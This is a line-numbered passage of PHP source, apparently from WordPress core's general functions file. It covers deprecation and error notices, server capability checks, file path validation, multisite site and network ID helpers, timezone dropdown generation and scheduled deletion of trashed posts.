5931 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.',
5932 $function_name,
5933 $version
5934 );
5935 }
5936 }
5937
5938 wp_trigger_error( '', $message, E_USER_DEPRECATED );
5939 }
5940}
5941
5942/**
5943 * Marks a deprecated action or filter hook as deprecated and throws a notice.
5944 *
5945 * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
5946 * the deprecated hook was called.
5947 *
5948 * Default behavior is to trigger a user error if `WP_DEBUG` is true.
5949 *
5950 * This function is called by the do_action_deprecated() and apply_filters_deprecated()
5951 * functions, and so generally does not need to be called directly.
5952 *
5953 * @since 4.6.0
5954 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
5955 * @access private
5956 *
5957 * @param string $hook The hook that was used.
5958 * @param string $version The version of WordPress that deprecated the hook.
5959 * @param string $replacement Optional. The hook that should have been used. Default empty string.
5960 * @param string $message Optional. A message regarding the change. Default empty.
5961 */
5962function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) {
5963 /**
5964 * Fires when a deprecated hook is called.
5965 *
5966 * @since 4.6.0
5967 *
5968 * @param string $hook The hook that was called.
5969 * @param string $replacement The hook that should be used as a replacement.
5970 * @param string $version The version of WordPress that deprecated the argument used.
5971 * @param string $message A message regarding the change.
5972 */
5973 do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
5974
5975 /**
5976 * Filters whether to trigger deprecated hook errors.
5977 *
5978 * @since 4.6.0
5979 *
5980 * @param bool $trigger Whether to trigger deprecated hook errors. Requires
5981 * `WP_DEBUG` to be defined true.
5982 */
5983 if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
5984 $message = empty( $message ) ? '' : ' ' . $message;
5985
5986 if ( $replacement ) {
5987 $message = sprintf(
5988 /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */
5989 __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
5990 $hook,
5991 $version,
5992 $replacement
5993 ) . $message;
5994 } else {
5995 $message = sprintf(
5996 /* translators: 1: WordPress hook name, 2: Version number. */
5997 __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
5998 $hook,
5999 $version
6000 ) . $message;
6001 }
6002
6003 wp_trigger_error( '', $message, E_USER_DEPRECATED );
6004 }
6005}
6006
6007/**
6008 * Marks something as being incorrectly called.
6009 *
6010 * There is a {@see 'doing_it_wrong_run'} hook that will be called that can be used
6011 * to get the backtrace up to what file and function called the deprecated function.
6012 *
6013 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
6014 *
6015 * @since 3.1.0
6016 * @since 5.4.0 This function is no longer marked as "private".
6017 *
6018 * @param string $function_name The function that was called.
6019 * @param string $message A message explaining what has been done incorrectly.
6020 * @param string $version The version of WordPress where the message was added.
6021 */
6022function _doing_it_wrong( $function_name, $message, $version ) {
6023
6024 /**
6025 * Fires when the given function is being used incorrectly.
6026 *
6027 * @since 3.1.0
6028 *
6029 * @param string $function_name The function that was called.
6030 * @param string $message A message explaining what has been done incorrectly.
6031 * @param string $version The version of WordPress where the message was added.
6032 */
6033 do_action( 'doing_it_wrong_run', $function_name, $message, $version );
6034
6035 /**
6036 * Filters whether to trigger an error for _doing_it_wrong() calls.
6037 *
6038 * @since 3.1.0
6039 * @since 5.1.0 Added the `$function_name`, `$message`, and `$version` parameters.
6040 *
6041 * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
6042 * @param string $function_name The function that was called.
6043 * @param string $message A message explaining what has been done incorrectly.
6044 * @param string $version The version of WordPress where the message was added.
6045 */
6046 if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function_name, $message, $version ) ) {
6047 if ( function_exists( '__' ) ) {
6048 if ( $version ) {
6049 /* translators: %s: Version number. */
6050 $version = sprintf( __( '(This message was added in version %s.)' ), $version );
6051 }
6052
6053 $message .= ' ' . sprintf(
6054 /* translators: %s: Documentation URL. */
6055 __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
6056 __( 'https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/' )
6057 );
6058
6059 $message = sprintf(
6060 /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */
6061 __( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s' ),
6062 $function_name,
6063 $message,
6064 $version
6065 );
6066 } else {
6067 if ( $version ) {
6068 $version = sprintf( '(This message was added in version %s.)', $version );
6069 }
6070
6071 $message .= sprintf(
6072 ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
6073 'https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/'
6074 );
6075
6076 $message = sprintf(
6077 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s',
6078 $function_name,
6079 $message,
6080 $version
6081 );
6082 }
6083
6084 wp_trigger_error( '', $message );
6085 }
6086}
6087
6088/**
6089 * Generates a user-level error/warning/notice/deprecation message.
6090 *
6091 * Generates the message when `WP_DEBUG` is true.
6092 *
6093 * @since 6.4.0
6094 *
6095 * @param string $function_name The function that triggered the error.
6096 * @param string $message The message explaining the error.
6097 * The message can contain allowed HTML 'a' (with href), 'code',
6098 * 'br', 'em', and 'strong' tags and http or https protocols.
6099 * If it contains other HTML tags or protocols, the message should be escaped
6100 * before passing to this function to avoid being stripped {@see wp_kses()}.
6101 * @param int $error_level Optional. The designated error type for this error.
6102 * Only works with E_USER family of constants. Default E_USER_NOTICE.
6103 */
6104function wp_trigger_error( $function_name, $message, $error_level = E_USER_NOTICE ) {
6105 /**
6106 * Always fires when the given function triggers a user-level error/warning/notice/deprecation message.
6107 *
6108 * Can be used to attach custom error handlers even if WP_DEBUG is not truthy.
6109 *
6110 * @since 7.0.0
6111 *
6112 * @param string $function_name The function that triggered the error.
6113 * @param string $message The message explaining the error.
6114 * @param int $error_level The designated error type for this error.
6115 */
6116 do_action( 'wp_trigger_error_always_run', $function_name, $message, $error_level );
6117
6118 /**
6119 * Filters whether to trigger an error.
6120 *
6121 * @since 7.0.0
6122 *
6123 * @param bool $trigger Whether to trigger the error. Default true.
6124 * @param string $function_name The function that triggered the error.
6125 * @param string $message The message explaining the error.
6126 * @param int $error_level The designated error type for this error.
6127 */
6128 if ( ! apply_filters( 'wp_trigger_error_trigger_error', true, $function_name, $message, $error_level ) ) {
6129 return;
6130 }
6131
6132 // Bail out if WP_DEBUG is not turned on.
6133 if ( ! WP_DEBUG ) {
6134 return;
6135 }
6136
6137 /**
6138 * Fires when the given function triggers a user-level error/warning/notice/deprecation message.
6139 *
6140 * Can be used for debug backtracking.
6141 *
6142 * @since 6.4.0
6143 *
6144 * @param string $function_name The function that triggered the error.
6145 * @param string $message The message explaining the error.
6146 * @param int $error_level The designated error type for this error.
6147 */
6148 do_action( 'wp_trigger_error_run', $function_name, $message, $error_level );
6149
6150 if ( ! empty( $function_name ) ) {
6151 $message = sprintf( '%s(): %s', $function_name, $message );
6152 }
6153
6154 $message = wp_kses(
6155 $message,
6156 array(
6157 'a' => array( 'href' => true ),
6158 'br' => array(),
6159 'code' => array(),
6160 'em' => array(),
6161 'strong' => array(),
6162 ),
6163 array( 'http', 'https' )
6164 );
6165
6166 if ( E_USER_ERROR === $error_level ) {
6167 throw new WP_Exception( $message );
6168 }
6169
6170 trigger_error( $message, $error_level );
6171}
6172
6173/**
6174 * Determines whether the server is running an earlier than 1.5.0 version of lighttpd.
6175 *
6176 * @since 2.5.0
6177 *
6178 * @return bool Whether the server is running lighttpd < 1.5.0.
6179 */
6180function is_lighttpd_before_150() {
6181 $server_parts = explode( '/', $_SERVER['SERVER_SOFTWARE'] ?? '' );
6182 $server_parts[1] = $server_parts[1] ?? '';
6183
6184 return ( 'lighttpd' === $server_parts[0] && -1 === version_compare( $server_parts[1], '1.5.0' ) );
6185}
6186
6187/**
6188 * Determines whether the specified module exist in the Apache config.
6189 *
6190 * @since 2.5.0
6191 *
6192 * @global bool $is_apache
6193 *
6194 * @param string $mod The module, e.g. mod_rewrite.
6195 * @param bool $default_value Optional. The default return value if the module is not found. Default false.
6196 * @return bool Whether the specified module is loaded.
6197 */
6198function apache_mod_loaded( $mod, $default_value = false ) {
6199 global $is_apache;
6200
6201 if ( ! $is_apache ) {
6202 return false;
6203 }
6204
6205 $loaded_mods = array();
6206
6207 if ( function_exists( 'apache_get_modules' ) ) {
6208 $loaded_mods = apache_get_modules();
6209
6210 if ( in_array( $mod, $loaded_mods, true ) ) {
6211 return true;
6212 }
6213 }
6214
6215 if ( empty( $loaded_mods )
6216 && function_exists( 'phpinfo' )
6217 && ! str_contains( ini_get( 'disable_functions' ), 'phpinfo' )
6218 ) {
6219 ob_start();
6220 phpinfo( INFO_MODULES );
6221 $phpinfo = ob_get_clean();
6222
6223 if ( str_contains( $phpinfo, $mod ) ) {
6224 return true;
6225 }
6226 }
6227
6228 return $default_value;
6229}
6230
6231/**
6232 * Checks if IIS 7+ supports pretty permalinks.
6233 *
6234 * @since 2.8.0
6235 *
6236 * @global bool $is_iis7
6237 *
6238 * @return bool Whether IIS7 supports permalinks.
6239 */
6240function iis7_supports_permalinks() {
6241 global $is_iis7;
6242
6243 $supports_permalinks = false;
6244 if ( $is_iis7 ) {
6245 /* First we check if the DOMDocument class exists. If it does not exist, then we cannot
6246 * easily update the xml configuration file, hence we just bail out and tell user that
6247 * pretty permalinks cannot be used.
6248 *
6249 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the website. When
6250 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
6251 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
6252 * via ISAPI then pretty permalinks will not work.
6253 */
6254 $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI );
6255 }
6256
6257 /**
6258 * Filters whether IIS 7+ supports pretty permalinks.
6259 *
6260 * @since 2.8.0
6261 *
6262 * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
6263 */
6264 return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
6265}
6266
6267/**
6268 * Validates a file name and path against an allowed set of rules.
6269 *
6270 * A return value of `1` means the file path contains directory traversal.
6271 *
6272 * A return value of `2` means the file path contains a Windows drive path.
6273 *
6274 * A return value of `3` means the file is not in the allowed files list.
6275 *
6276 * @since 1.2.0
6277 *
6278 * @param string $file File path.
6279 * @param string[] $allowed_files Optional. Array of allowed files. Default empty array.
6280 * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
6281 */
6282function validate_file( $file, $allowed_files = array() ) {
6283 if ( ! is_scalar( $file ) || '' === $file ) {
6284 return 0;
6285 }
6286
6287 // Normalize path for Windows servers.
6288 $file = wp_normalize_path( $file );
6289 // Normalize path for $allowed_files as well so it's an apples to apples comparison.
6290 $allowed_files = array_map( 'wp_normalize_path', $allowed_files );
6291
6292 // `../` on its own is not allowed:
6293 if ( '../' === $file ) {
6294 return 1;
6295 }
6296
6297 // More than one occurrence of `../` is not allowed:
6298 if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
6299 return 1;
6300 }
6301
6302 // `../` which does not occur at the end of the path is not allowed:
6303 if ( str_contains( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
6304 return 1;
6305 }
6306
6307 // Files not in the allowed file list are not allowed:
6308 if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) {
6309 return 3;
6310 }
6311
6312 // Absolute Windows drive paths are not allowed:
6313 if ( ':' === substr( $file, 1, 1 ) ) {
6314 return 2;
6315 }
6316
6317 return 0;
6318}
6319
6320/**
6321 * Determines whether to force SSL used for the Administration Screens.
6322 *
6323 * @since 2.6.0
6324 *
6325 * @param string|bool|null $force Optional. Whether to force SSL in admin screens. Default null.
6326 * @return bool True if forced, false if not forced.
6327 */
6328function force_ssl_admin( $force = null ) {
6329 static $forced = false;
6330
6331 if ( ! is_null( $force ) ) {
6332 $old_forced = $forced;
6333 $forced = (bool) $force;
6334 return $old_forced;
6335 }
6336
6337 return $forced;
6338}
6339
6340/**
6341 * Guesses the URL for the site.
6342 *
6343 * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
6344 * directory.
6345 *
6346 * @since 2.6.0
6347 *
6348 * @return string The guessed URL.
6349 */
6350function wp_guess_url() {
6351 if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) {
6352 $url = WP_SITEURL;
6353 } else {
6354 $abspath_fix = str_replace( '\\', '/', ABSPATH );
6355 $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
6356
6357 // The request is for the admin.
6358 if ( str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) || str_contains( $_SERVER['REQUEST_URI'], 'wp-login.php' ) ) {
6359 $path = preg_replace( '#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI'] );
6360
6361 // The request is for a file in ABSPATH.
6362 } elseif ( $script_filename_dir . '/' === $abspath_fix ) {
6363 // Strip off any file/query params in the path.
6364 $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
6365
6366 } else {
6367 if ( str_contains( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
6368 // Request is hitting a file inside ABSPATH.
6369 $directory = str_replace( ABSPATH, '', $script_filename_dir );
6370 // Strip off the subdirectory, and any file/query params.
6371 $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] );
6372 } elseif ( str_contains( $abspath_fix, $script_filename_dir ) ) {
6373 // Request is hitting a file above ABSPATH.
6374 $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
6375 // Strip off any file/query params from the path, appending the subdirectory to the installation.
6376 $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory;
6377 } else {
6378 $path = $_SERVER['REQUEST_URI'];
6379 }
6380 }
6381
6382 $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet.
6383 $url = $schema . $_SERVER['HTTP_HOST'] . $path;
6384 }
6385
6386 return rtrim( $url, '/' );
6387}
6388
6389/**
6390 * Temporarily suspends cache additions.
6391 *
6392 * Stops more data being added to the cache, but still allows cache retrieval.
6393 * This is useful for actions, such as imports, when a lot of data would otherwise
6394 * be almost uselessly added to the cache.
6395 *
6396 * Suspension lasts for a single page load at most. Remember to call this
6397 * function again if you wish to re-enable cache adds earlier.
6398 *
6399 * @since 3.3.0
6400 *
6401 * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
6402 * Defaults to not changing the current setting.
6403 * @return bool The current suspend setting.
6404 */
6405function wp_suspend_cache_addition( $suspend = null ) {
6406 static $_suspend = false;
6407
6408 if ( is_bool( $suspend ) ) {
6409 $_suspend = $suspend;
6410 }
6411
6412 return $_suspend;
6413}
6414
6415/**
6416 * Suspends cache invalidation.
6417 *
6418 * Turns cache invalidation on and off. Useful during imports where you don't want to do
6419 * invalidations every time a post is inserted. Callers must be sure that what they are
6420 * doing won't lead to an inconsistent cache when invalidation is suspended.
6421 *
6422 * @since 2.7.0
6423 *
6424 * @global bool $_wp_suspend_cache_invalidation
6425 *
6426 * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
6427 * @return bool The current suspend setting.
6428 */
6429function wp_suspend_cache_invalidation( $suspend = true ) {
6430 global $_wp_suspend_cache_invalidation;
6431
6432 $current_suspend = $_wp_suspend_cache_invalidation;
6433 $_wp_suspend_cache_invalidation = $suspend;
6434 return $current_suspend;
6435}
6436
6437/**
6438 * Determines whether a site is the main site of the current network.
6439 *
6440 * @since 3.0.0
6441 * @since 4.9.0 The `$network_id` parameter was added.
6442 *
6443 * @param int $site_id Optional. Site ID to test. Defaults to current site.
6444 * @param int $network_id Optional. Network ID of the network to check for.
6445 * Defaults to current network.
6446 * @return bool True if $site_id is the main site of the network, or if not
6447 * running Multisite.
6448 */
6449function is_main_site( $site_id = null, $network_id = null ) {
6450 if ( ! is_multisite() ) {
6451 return true;
6452 }
6453
6454 if ( ! $site_id ) {
6455 $site_id = get_current_blog_id();
6456 }
6457
6458 $site_id = (int) $site_id;
6459
6460 return get_main_site_id( $network_id ) === $site_id;
6461}
6462
6463/**
6464 * Gets the main site ID.
6465 *
6466 * @since 4.9.0
6467 *
6468 * @param int $network_id Optional. The ID of the network for which to get the main site.
6469 * Defaults to the current network.
6470 * @return int The ID of the main site.
6471 */
6472function get_main_site_id( $network_id = null ) {
6473 if ( ! is_multisite() ) {
6474 return get_current_blog_id();
6475 }
6476
6477 $network = get_network( $network_id );
6478 if ( ! $network ) {
6479 return 0;
6480 }
6481
6482 return $network->site_id;
6483}
6484
6485/**
6486 * Determines whether a network is the main network of the Multisite installation.
6487 *
6488 * @since 3.7.0
6489 *
6490 * @param int $network_id Optional. Network ID to test. Defaults to current network.
6491 * @return bool True if $network_id is the main network, or if not running Multisite.
6492 */
6493function is_main_network( $network_id = null ) {
6494 if ( ! is_multisite() ) {
6495 return true;
6496 }
6497
6498 if ( null === $network_id ) {
6499 $network_id = get_current_network_id();
6500 }
6501
6502 $network_id = (int) $network_id;
6503
6504 return ( get_main_network_id() === $network_id );
6505}
6506
6507/**
6508 * Gets the main network ID.
6509 *
6510 * @since 4.3.0
6511 *
6512 * @return int The ID of the main network.
6513 */
6514function get_main_network_id() {
6515 if ( ! is_multisite() ) {
6516 return 1;
6517 }
6518
6519 $current_network = get_network();
6520
6521 if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
6522 $main_network_id = PRIMARY_NETWORK_ID;
6523 } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
6524 // If the current network has an ID of 1, assume it is the main network.
6525 $main_network_id = 1;
6526 } else {
6527 $_networks = get_networks(
6528 array(
6529 'fields' => 'ids',
6530 'number' => 1,
6531 )
6532 );
6533 $main_network_id = array_shift( $_networks );
6534 }
6535
6536 /**
6537 * Filters the main network ID.
6538 *
6539 * @since 4.3.0
6540 *
6541 * @param int $main_network_id The ID of the main network.
6542 */
6543 return (int) apply_filters( 'get_main_network_id', $main_network_id );
6544}
6545
6546/**
6547 * Determines whether site meta is enabled.
6548 *
6549 * This function checks whether the 'blogmeta' database table exists. The result is saved as
6550 * a setting for the main network, making it essentially a global setting. Subsequent requests
6551 * will refer to this setting instead of running the query.
6552 *
6553 * @since 5.1.0
6554 *
6555 * @global wpdb $wpdb WordPress database abstraction object.
6556 *
6557 * @return bool True if site meta is supported, false otherwise.
6558 */
6559function is_site_meta_supported() {
6560 global $wpdb;
6561
6562 if ( ! is_multisite() ) {
6563 return false;
6564 }
6565
6566 $network_id = get_main_network_id();
6567
6568 $supported = get_network_option( $network_id, 'site_meta_supported', false );
6569 if ( false === $supported ) {
6570 $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0;
6571
6572 update_network_option( $network_id, 'site_meta_supported', $supported );
6573 }
6574
6575 return (bool) $supported;
6576}
6577
6578/**
6579 * Modifies gmt_offset for smart timezone handling.
6580 *
6581 * Overrides the gmt_offset option if we have a timezone_string available.
6582 *
6583 * @since 2.8.0
6584 *
6585 * @return float|false Timezone GMT offset, false otherwise.
6586 */
6587function wp_timezone_override_offset() {
6588 $timezone_string = get_option( 'timezone_string' );
6589 if ( ! $timezone_string ) {
6590 return false;
6591 }
6592
6593 $timezone_object = timezone_open( $timezone_string );
6594 $datetime_object = date_create();
6595 if ( false === $timezone_object || false === $datetime_object ) {
6596 return false;
6597 }
6598
6599 return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
6600}
6601
6602/**
6603 * Sort-helper for timezones.
6604 *
6605 * @since 2.9.0
6606 * @access private
6607 *
6608 * @param array $a
6609 * @param array $b
6610 * @return int Comparison result.
6611 */
6612function _wp_timezone_choice_usort_callback( $a, $b ) {
6613 // Don't use translated versions of Etc.
6614 if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
6615 // Make the order of these more like the old dropdown.
6616 if ( str_starts_with( $a['city'], 'GMT+' ) && str_starts_with( $b['city'], 'GMT+' ) ) {
6617 return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
6618 }
6619
6620 if ( 'UTC' === $a['city'] ) {
6621 if ( str_starts_with( $b['city'], 'GMT+' ) ) {
6622 return 1;
6623 }
6624
6625 return -1;
6626 }
6627
6628 if ( 'UTC' === $b['city'] ) {
6629 if ( str_starts_with( $a['city'], 'GMT+' ) ) {
6630 return -1;
6631 }
6632
6633 return 1;
6634 }
6635
6636 return strnatcasecmp( $a['city'], $b['city'] );
6637 }
6638
6639 if ( $a['t_continent'] === $b['t_continent'] ) {
6640 if ( $a['t_city'] === $b['t_city'] ) {
6641 return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
6642 }
6643
6644 return strnatcasecmp( $a['t_city'], $b['t_city'] );
6645 } else {
6646 // Force Etc to the bottom of the list.
6647 if ( 'Etc' === $a['continent'] ) {
6648 return 1;
6649 }
6650
6651 if ( 'Etc' === $b['continent'] ) {
6652 return -1;
6653 }
6654
6655 return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
6656 }
6657}
6658
6659/**
6660 * Gives a nicely-formatted list of timezone strings.
6661 *
6662 * @since 2.9.0
6663 * @since 4.7.0 Added the `$locale` parameter.
6664 *
6665 * @param string $selected_zone Selected timezone.
6666 * @param string $locale Optional. Locale to load the timezones in. Default current site locale.
6667 * @return string HTML select element for timezones.
6668 */
6669function wp_timezone_choice( $selected_zone, $locale = null ) {
6670 static $mo_loaded = false, $locale_loaded = null;
6671
6672 $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' );
6673
6674 // Load translations for continents and cities.
6675 if ( ! $mo_loaded || $locale !== $locale_loaded ) {
6676 $locale_loaded = $locale ? $locale : get_locale();
6677 $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
6678 unload_textdomain( 'continents-cities', true );
6679 load_textdomain( 'continents-cities', $mofile, $locale_loaded );
6680 $mo_loaded = true;
6681 }
6682
6683 $tz_identifiers = timezone_identifiers_list();
6684 $zonen = array();
6685
6686 foreach ( $tz_identifiers as $zone ) {
6687 $zone = explode( '/', $zone );
6688 if ( ! in_array( $zone[0], $continents, true ) ) {
6689 continue;
6690 }
6691
6692 // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later.
6693 $exists = array(
6694 0 => ( isset( $zone[0] ) && $zone[0] ),
6695 1 => ( isset( $zone[1] ) && $zone[1] ),
6696 2 => ( isset( $zone[2] ) && $zone[2] ),
6697 );
6698 $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
6699 $exists[4] = ( $exists[1] && $exists[3] );
6700 $exists[5] = ( $exists[2] && $exists[3] );
6701
6702 // phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
6703 $zonen[] = array(
6704 'continent' => ( $exists[0] ? $zone[0] : '' ),
6705 'city' => ( $exists[1] ? $zone[1] : '' ),
6706 'subcity' => ( $exists[2] ? $zone[2] : '' ),
6707 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
6708 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
6709 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ),
6710 );
6711 // phpcs:enable
6712 }
6713 usort( $zonen, '_wp_timezone_choice_usort_callback' );
6714
6715 $structure = array();
6716
6717 if ( empty( $selected_zone ) ) {
6718 $structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
6719 }
6720
6721 // If this is a deprecated, but valid, timezone string, display it at the top of the list as-is.
6722 if ( in_array( $selected_zone, $tz_identifiers, true ) === false
6723 && in_array( $selected_zone, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true )
6724 ) {
6725 $structure[] = '<option selected="selected" value="' . esc_attr( $selected_zone ) . '" dir="auto">' . esc_html( $selected_zone ) . '</option>';
6726 }
6727
6728 foreach ( $zonen as $key => $zone ) {
6729 // Build value in an array to join later.
6730 $value = array( $zone['continent'] );
6731
6732 if ( empty( $zone['city'] ) ) {
6733 // It's at the continent level (generally won't happen).
6734 $display = $zone['t_continent'];
6735 } else {
6736 // It's inside a continent group.
6737
6738 // Continent optgroup.
6739 if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) {
6740 $label = $zone['t_continent'];
6741 $structure[] = '<optgroup label="' . esc_attr( $label ) . '" dir="auto">';
6742 }
6743
6744 // Add the city to the value.
6745 $value[] = $zone['city'];
6746
6747 $display = $zone['t_city'];
6748 if ( ! empty( $zone['subcity'] ) ) {
6749 // Add the subcity to the value.
6750 $value[] = $zone['subcity'];
6751 $display .= ' - ' . $zone['t_subcity'];
6752 }
6753 }
6754
6755 // Build the value.
6756 $value = implode( '/', $value );
6757 $selected = '';
6758 if ( $value === $selected_zone ) {
6759 $selected = 'selected="selected" ';
6760 }
6761 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '" dir="auto">' . esc_html( $display ) . '</option>';
6762
6763 // Close continent optgroup.
6764 if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) {
6765 $structure[] = '</optgroup>';
6766 }
6767 }
6768
6769 // Do UTC.
6770 $structure[] = '<optgroup label="' . esc_attr__( 'UTC' ) . '" dir="auto">';
6771 $selected = '';
6772 if ( 'UTC' === $selected_zone ) {
6773 $selected = 'selected="selected" ';
6774 }
6775 $structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '" dir="auto">' . __( 'UTC' ) . '</option>';
6776 $structure[] = '</optgroup>';
6777
6778 // Do manual UTC offsets.
6779 $structure[] = '<optgroup label="' . esc_attr__( 'Manual Offsets' ) . '" dir="auto">';
6780 $offset_range = array(
6781 -12,
6782 -11.5,
6783 -11,
6784 -10.5,
6785 -10,
6786 -9.5,
6787 -9,
6788 -8.5,
6789 -8,
6790 -7.5,
6791 -7,
6792 -6.5,
6793 -6,
6794 -5.5,
6795 -5,
6796 -4.5,
6797 -4,
6798 -3.5,
6799 -3,
6800 -2.5,
6801 -2,
6802 -1.5,
6803 -1,
6804 -0.5,
6805 0,
6806 0.5,
6807 1,
6808 1.5,
6809 2,
6810 2.5,
6811 3,
6812 3.5,
6813 4,
6814 4.5,
6815 5,
6816 5.5,
6817 5.75,
6818 6,
6819 6.5,
6820 7,
6821 7.5,
6822 8,
6823 8.5,
6824 8.75,
6825 9,
6826 9.5,
6827 10,
6828 10.5,
6829 11,
6830 11.5,
6831 12,
6832 12.75,
6833 13,
6834 13.75,
6835 14,
6836 );
6837 foreach ( $offset_range as $offset ) {
6838 if ( 0 <= $offset ) {
6839 $offset_name = '+' . $offset;
6840 } else {
6841 $offset_name = (string) $offset;
6842 }
6843
6844 $offset_value = $offset_name;
6845 $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name );
6846 $offset_name = 'UTC' . $offset_name;
6847 $offset_value = 'UTC' . $offset_value;
6848 $selected = '';
6849 if ( $offset_value === $selected_zone ) {
6850 $selected = 'selected="selected" ';
6851 }
6852 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '" dir="auto">' . esc_html( $offset_name ) . '</option>';
6853 }
6854 $structure[] = '</optgroup>';
6855
6856 return implode( "\n", $structure );
6857}
6858
6859/**
6860 * Strips close comment and close php tags from file headers used by WP.
6861 *
6862 * @since 2.8.0
6863 * @access private
6864 *
6865 * @see https://core.trac.wordpress.org/ticket/8497
6866 *
6867 * @param string $str Header comment to clean up.
6868 * @return string Cleaned header comment.
6869 */
6870function _cleanup_header_comment( $str ) {
6871 return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) );
6872}
6873
6874/**
6875 * Permanently deletes comments or posts of any type that have held a status
6876 * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
6877 *
6878 * The default value of `EMPTY_TRASH_DAYS` is 30 (days).
6879 *
6880 * @since 2.9.0
6881 *
6882 * @global wpdb $wpdb WordPress database abstraction object.
6883 */
6884function wp_scheduled_delete() {
6885 global $wpdb;
6886
6887 $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
6888
6889 $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
6890
6891 foreach ( (array) $posts_to_delete as $post ) {
6892 $post_id = (int) $post['post_id'];
6893 if ( ! $post_id ) {
6894 continue;
6895 }
6896
6897 $del_post = get_post( $post_id );
6898
6899 if ( ! $del_post || 'trash' !== $del_post->post_status ) {
6900 delete_post_meta( $post_id, '_wp_trash_meta_status' );
6901 delete_post_meta( $post_id, '_wp_trash_meta_time' );
6902 } else {
6903 wp_delete_post( $post_id );
6904 }
6905 }
6906
6907 $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
6908
